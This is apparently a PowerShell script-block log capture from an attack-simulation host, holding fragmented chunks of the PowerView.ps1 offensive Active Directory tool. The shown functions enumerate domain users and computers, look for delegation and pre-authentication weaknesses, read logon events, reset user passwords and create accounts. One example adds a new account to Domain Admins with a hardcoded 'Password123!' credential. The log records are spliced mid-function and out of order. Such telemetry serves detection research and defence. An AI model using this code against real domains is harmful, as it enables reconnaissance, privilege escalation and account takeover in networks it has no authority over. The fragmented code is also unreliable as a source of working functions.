$ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ObjectSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($ObjectSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $ObjectSearcher = Get-DomainSearcher @SearcherArguments if (-not $ObjectSearcher) { Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $ObjectName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$ObjectName)" $SearcherArguments['Domain'] = $ObjectDomain Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } if ($Filter -and $Filter -ne '') { $ObjectSearcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } else { $Results = $ObjectSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Object = $_ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') } else { $Object = Convert-LDAPProperty -Properties $_.Properties $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } $Object } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" } } $ObjectSearcher.dispose() } } } function Get-DomainObjectAttributeHistory { <# .SYNOPSIS Returns the Active Directory attribute replication metadata for the specified object, i.e. a parsed version of the msds-replattributemetadata attribute. By default, replication data for every domain object is returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. This is the domain attribute replication metadata associated w421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11418) and TimeCreated[ @SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$($EndTime.ToUniversalTime().ToString('s'))' ] ] ] </Select> <Suppress Path="Security"> *[ System[ Provider[ @Name='Microsoft-Windows-Security-Auditing' ] and (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) ] ] and *[ EventData[ ( (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') or Data[@Name='TargetUserName']='ANONYMOUS LOGON' or Data[@Name='TargetUserSID']='S-1-5-18' ) ] ] </Suppress> </Query> </QueryList> "@ $EventArguments = @{ 'FilterXPath' = $XPathFilter 'LogName' = 'Security' 'MaxEvents' = $MaxEvents } if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { $EventArguments['ComputerName'] = $Computer Get-WinEvent @EventArguments| ForEach-Object { $Event = $_ $Properties = $Event.Properties Switch ($Event.Id) { # logon event 4624 { # skip computer logons, for now... if(-not $Properties[5].Value.EndsWith('$')) { $Output = New-Object PSObject -Property @{ ComputerName = $Computer TimeCreated = $Event.TimeCreated EventId = $Event.Id SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value SubjectLogonId = $Properties[3].Value TargetUserSid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value TargetLogonId = $Properties[7].Value LogonType = $Properties[8].Value LogonProcessName = $Properties[9].Value AuthenticationPackageName = $Properties[10].Value WorkstationName = $Properties[11].Value LogonGuid = $Properties[12].Value TransmittedServices = $Properties[13].Value LmPackageName = $Properties[14].Value KeyLength = $Properties[15].Value ProcessId = $Properties[16].Value ProcessName = $Properties[17].Value IpAddress = $Properties[18].Value IpPort = $Properties[19].Value ImpersonationLevel = $Properties[20].Value RestrictedAdminMode = $Properties[21].Value TargetOutboundUserName = $Properties[22].Value TargetOutboundDomainName = $Properties[23].Value VirtualAccount = $Properties[24].Value TargetLinkedLogonId = $Properties[25].Value ElevatedToken = $Properties[26].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') $Output } } # logon with explicit credential 4648 { # skip computer logons, for now... if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { $Output = New-Object PSObject -Property @{ ComputerName = $Computer TimeCreated = $Event.TimeCreated EventId = $Event.Id SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value SubjectLogonId = $Properties[3].Value LogonGuid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value TargetLogonGuid = $Properties[7].Value TargetServerName = $Properties[8].Value TargetInfo = $Properties[9].Value ProcessId = $Properties[10].Value ProcessName = $Properties[11].Value IpAddress = $Properties[12].Value IpPort = $Properties[13].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') $Output } } default { Write-Warning "No handler exists for event ID: $($Event.Id)" } } } } } } function Get-DomainGUIDMap { <# .SYNOPSIS Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-Forest .DESCRIPTION Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) for objects where objectClass=controlAccessRight, translating the GUIDs again. Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .OUTPUTS Hashtable Ouputs a hashtable containing a GUID -> Readable Name mapping. .LINK http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} $ForestArguments = @{} if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } try { $SchemaPath = (Get-Forest @ForestArguments).schema.name } catch { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' } if (-not $SchemaPath) { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' } $SearcherArguments = @{ 'SearchBase' = $SchemaPath 'LDAPFilter' = '(schemaIDGUID=*)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SchemaSearcher = Get-DomainSearcher @SearcherArguments if ($SchemaSearcher) { try { $Results = $SchemaSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } $SchemaSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' $RightsSearcher = Get-DomainSearcher @SearcherArguments if ($RightsSearcher) { try { $Results = $RightsSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" } } $RightsSearcher.dispose() } catch { Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" } } $GUIDs } function Get-DomainComputer { <# .SYNOPSIS Return all computers or specific computer objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all computer objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Unconstrained Switch. Return computer objects that have unconstrained delegation. .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. .PARAMETER Printers Switch. Return only printers. .PARAMETER SPN Return computers with a specific service principal name, wildcards accepted. .PARAMETER OperatingSystem Return computers with a specific operating system, wildcards accepted. .PARAMETER ServicePack Return computers with a specific service pack, wildcards accepted. .PARAMETER SiteName Return computers in the specific AD Site name, wildcards accepted. .PARAMETER Ping Switch. Ping each host to ensure it's up before enumerating. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainComputer Returns the current computers in current domain. .EXAMPLE Get-DomainComputer -SPN mssql* -Domain testlab.local Returns all MS SQL servers in the testlab.local domain. .EXAMPLE Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname Return the dns hostnames of servers trusted for delegation. .EXAMPLE Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained Search the specified OU for computeres that allow unconstrained delegation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainComputer -Credential $Cred .OUTPUTS PowerView.Computer Custom PSObject with translated computer property fields. PowerView.Computer.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [OutputType('PowerView.Computer')] [OutputType('PowerView.Computer.Raw')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('SamAccountName', 'Name', 'DNSHostName')] [String[]] $Identity, [Switch] $Unconstrained, [Switch] $TrustedToAuth, [Switch] $Printers, [ValidateNotNullOrEmpty()] [Alias('ServicePrincipalName')] [String] $SPN, [ValidateNotNullOrEmpty()] [String] $OperatingSystem, [ValidateNotNullOrEmpty()] [String] $ServicePack, [ValidateNotNullOrEmpty()] [String] $SiteName, [Switch] $Ping, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $CompSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($CompSearcher) { $IdentityFilter = '' 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1041 $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $UserSearcher = Get-DomainSearcher @SearcherArguments if (-not $UserSearcher) { Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $UserName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$UserName)" $SearcherArguments['Domain'] = $UserDomain Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" $UserSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['SPN']) { Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' $Filter += '(servicePrincipalName=*)' } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' } if ($PSBoundParameters['DisallowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' } if ($PSBoundParameters['AdminCount']) { Write-Verbose '[Get-DomainUser] Searching for adminCount=1' $Filter += '(admincount=1)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['PreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } else { $Results = $UserSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $User = $_ $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') } else { $User = Convert-LDAPProperty -Properties $_.Properties $User.PSObject.TypeNames.Insert(0, 'PowerView.User') } $User } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" } } $UserSearcher.dispose() } } } function New-DomainUser { <# .SYNOPSIS Creates a new domain user (assuming appropriate permissions) and returns the user object. TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to create a new DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. .PARAMETER SamAccountName Specifies the Security Account Manager (SAM) account name of the user to create. Maximum of 256 characters. Mandatory. .PARAMETER AccountPassword Specifies the password for the created user. Mandatory. .PARAMETER Name Specifies the name of the user to create. If not provided, defaults to SamAccountName. .PARAMETER DisplayName Specifies the display name of the user to create. If not provided, defaults to SamAccountName. .PARAMETER Description Specifies the description of the user to create. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword Creates the 'harmj0y2' user with the specified description and password. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred Creates the 'harmj0y2' user with the specified description and password, using the specified alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .OUTPUTS DirectoryServices.AccountManagement.UserPrincipal .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( [Parameter(Mandatory = $True)] [ValidateLength(0, 256)] [String] $SamAccountName, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Password')] [Security.SecureString] $AccountPassword, [ValidateNotNullOrEmpty()] [String] $Name, [ValidateNotNullOrEmpty()] [String] $DisplayName, [ValidateNotNullOrEmpty()] [String] $Description, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $SamAccountName } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) # set all the appropriate user parameters $User.SamAccountName = $Context.Identity $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) $User.SetPassword($TempCred.GetNetworkCredential().Password) $User.Enabled = $True $User.PasswordNotRequired = $False if ($PSBoundParameters['Name']) { $User.Name = $Name } else { $User.Name = $Context.Identity } if ($PSBoundParameters['DisplayName']) { $User.DisplayName = $DisplayName } else { $User.DisplayName = $Context.Identity } if ($PSBoundParameters['Description']) { $User.Description = $Description } Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" try { $Null = $User.Save() Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" $User } catch { Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" } } } function Set-DomainUserPassword { <# .SYNOPSIS Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified user -Identity, which returns a DirectoryServices.AccountManagement.UserPrincipal object. The SetPassword() function is then invoked on the user, setting the password to -AccountPassword. .PARAMETER Identity A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) specifying the user to reset the password for. .PARAMETER AccountPassword Specifies the password to reset the target user's to. Mandatory. .PARAMETER Domain Specifies the domain to use to search for the user identity, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword Resets the password for 'andy' to the password specified. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred Resets the password for 'andy' usering the alternate credentials specified. .OUTPUTS DirectoryServices.AccountManagement.UserPrincipal .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('UserName', 'UserIdentity', 'User')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Password')] [Security.SecureString] $AccountPassword, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $Context = Get-PrincipalContext @ContextArguments if ($Context) { $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) if ($User) { Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" try { $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) $User.SetPassword($TempCred.GetNetworkCredential().Password) $Null = $User.Save() Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" } catch { Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" } } else { Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" } } } function Get-DomainUserEvent { <# .SYNOPSIS Enumerate account logon events (ID 4624) and Logon with explicit credential events (ID 4648) from the specified host (default of the localhost). Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses an XML path filter passed to Get-WinEvent to retrieve security events with IDs of 4624 (logon events) or 4648 (explicit credential logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). A maximum of -MaxEvents (default of 5000) are returned. .PARAMETER ComputerName Specifies the computer name to retrieve events from, default of localhost. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events to retrieve. Default of 5000. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer. .EXAMPLE Get-DomainUserEvent Return logon events on the local machine. .EXAMPLE 